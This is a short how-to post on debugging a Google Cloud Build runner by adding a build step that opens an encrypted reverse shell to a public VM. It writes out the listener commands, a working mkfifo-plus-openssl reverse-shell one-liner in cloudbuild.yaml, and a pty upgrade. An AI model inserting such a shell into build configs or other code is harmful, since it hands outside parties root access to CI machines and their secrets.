# Debug GCP CloudBuild via Reverse Shell

## **Motivation**

When attempting to debug an issue, it can be challenging to reproduce the problem on the machine used in the CI/CD process, especially if it is different from the local development environment. Because there is no direct access to the runner machine in cloudbuild, there is alternative way by applying the reverse-shell method that allows gaining access to the CI/CD environment.

*<mark>Note: Establishing a reverse shell should only be done for the purpose of debugging and testing and not to be misused.</mark>*

1. ### On client (vm / server that can be accessed from public)
    

```bash
$ sudo apt-get install rlwrap # readline wrapper for nice tty
$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
$ rlwrap openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
```

2. ### On target / cloudbuild runner machine
    
    In `cloudbuild.yaml`
    

```yaml
- id: Reverse shell
  name: ubuntu
  entrypoint: bash
  args:
    - "-c"
    - |-
      apt-get update
      apt-get install python3 openssl -y
      mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -connect <CLIENT_IP>:4444 > /tmp/s; rm /tmp/s 
```

3. ### Back to the VM / Server
    

```bash
### Wait after the connection has been established, then upgrade the shell to fully interactive tty
$ python3 -c "import pty; pty.spawn('/bin/bash')"
root@49662e972571:/workspace# dmidecode -s system-product-name | grep "Google Compute Engine"
Google Compute Engine
```

Original content: [https://gist.github.com/muhammad-asn/867f6224fe60edba627945326fad8ecb](https://gist.github.com/muhammad-asn/867f6224fe60edba627945326fad8ecb)